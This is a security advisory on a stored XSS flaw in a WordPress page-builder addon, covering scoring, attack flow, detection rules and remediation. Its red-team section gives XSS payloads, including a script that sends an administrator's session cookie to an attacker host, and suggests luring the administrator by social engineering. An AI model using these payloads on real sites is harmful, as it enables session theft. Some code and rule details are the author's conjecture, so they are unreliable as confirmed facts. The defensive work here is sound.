CVE-2025-53206

Executive Summary

CVE-2025-53206 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the HT Mega – Absolute Addons for WPBakery Page Builder WordPress plugin, versions up to and including 1.0.8. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a victim (such as an administrator) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability stems from improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape certain fields before storing them in the database, and subsequently fails to escape them when rendering the page. This is a classic Stored XSS scenario within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users who have installed the plugin from any source are affected. There is no known patch available at this time, making this a high-risk supply chain issue for WordPress site administrators.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access.
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WPBakery Page Builder elevate the risk. An attacker with low privileges can compromise the entire site's security.

Deep Dive & Mechanics

The vulnerability resides in the ht-mega-for-wpbakery plugin, which provides addons for the WPBakery Page Builder. The plugin likely processes user input through shortcodes or custom widgets without proper sanitization.

Root Cause: The plugin uses functions like echo or the_content to output user-supplied data without first passing it through WordPress's escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject HTML and JavaScript.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts a malicious payload into a field that is not sanitized (e.g., a custom heading, caption, or attribute).
3. The plugin stores the payload in the WordPress database.
4. When an administrator or other user views the post/page, the plugin outputs the payload without escaping.
5. The victim's browser executes the malicious script.

Example Payload:

<script>alert('XSS')</script>

or

<img src=x onerror=alert('XSS')>

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// In a widget or shortcode handler
$heading = get_post_meta( $post_id, 'ht_mega_heading', true );
echo '<h2>' . $heading . '</h2>'; // No escaping

Patched Code (Expected):

$heading = get_post_meta( $post_id, 'ht_mega_heading', true );
echo '<h2>' . esc_html( $heading ) . '</h2>'; // Proper escaping

The patched version would use esc_html() for plain text, esc_attr() for HTML attributes, and wp_kses_post() for rich content.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with HT Mega plugin version <= 1.0.8.
• A contributor-level account.

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Switch to the WPBakery Page Builder editor.
4. Add an HT Mega element (e.g., Heading, Button, or any custom element).
5. In the element's settings, inject a payload into a text field. For example, in the "Title" field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Save and publish the post.
7. Wait for an administrator to view the post, or send the link to the administrator via social engineering.

Expected Outcome: The administrator's browser executes the script, sending their session cookie to the attacker's server.

Blue Team (Defensive)

Detection:

• Monitor for posts created by low-privilege users containing suspicious HTML/JavaScript.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search the WordPress database for posts containing <script> tags or event handlers like onerror, onload, onclick.
• Query the wp_posts table:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%<script%' OR post_content LIKE '%onerror%';
  

Prevention:

• Disable the HT Mega plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Use a security plugin like Wordfence to add an extra layer of XSS protection.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ht-mega-for-wpbakery/ (entire plugin directory)
• Database Entries: Posts or pages containing unescaped <script> tags or event handlers.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Logs: Unusual post creation activity from contributor accounts.

Detection Engineering

YARA Rule

rule CVE_2025_53206_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in HT Mega plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53206"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin = "ht-mega-for-wpbakery"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: CVE-2025-53206 - Stored XSS in HT Mega Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via HT Mega plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "action=ht_mega_save"
        http.body|contains|re: "(<script|onerror|onload)"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53206 - Stored XSS Payload in HT Mega Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ht_mega_save"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and uninstall HT Mega – Absolute Addons for WPBakery Page Builder until a patch is released.
2. Audit existing content – Scan all posts and pages for injected scripts. Use the YARA rule above or a database query.
3. Change all passwords – If any administrator viewed a compromised page, assume their session was stolen and rotate credentials.

Long-Term Fix:

• Monitor the plugin's official page for a patched version (>= 1.0.9).
• Apply the patch as soon as it becomes available.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege – do not give contributor access to untrusted users.

Workaround:

• If the plugin is critical, consider using a different WPBakery addons plugin that is actively maintained and patched.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst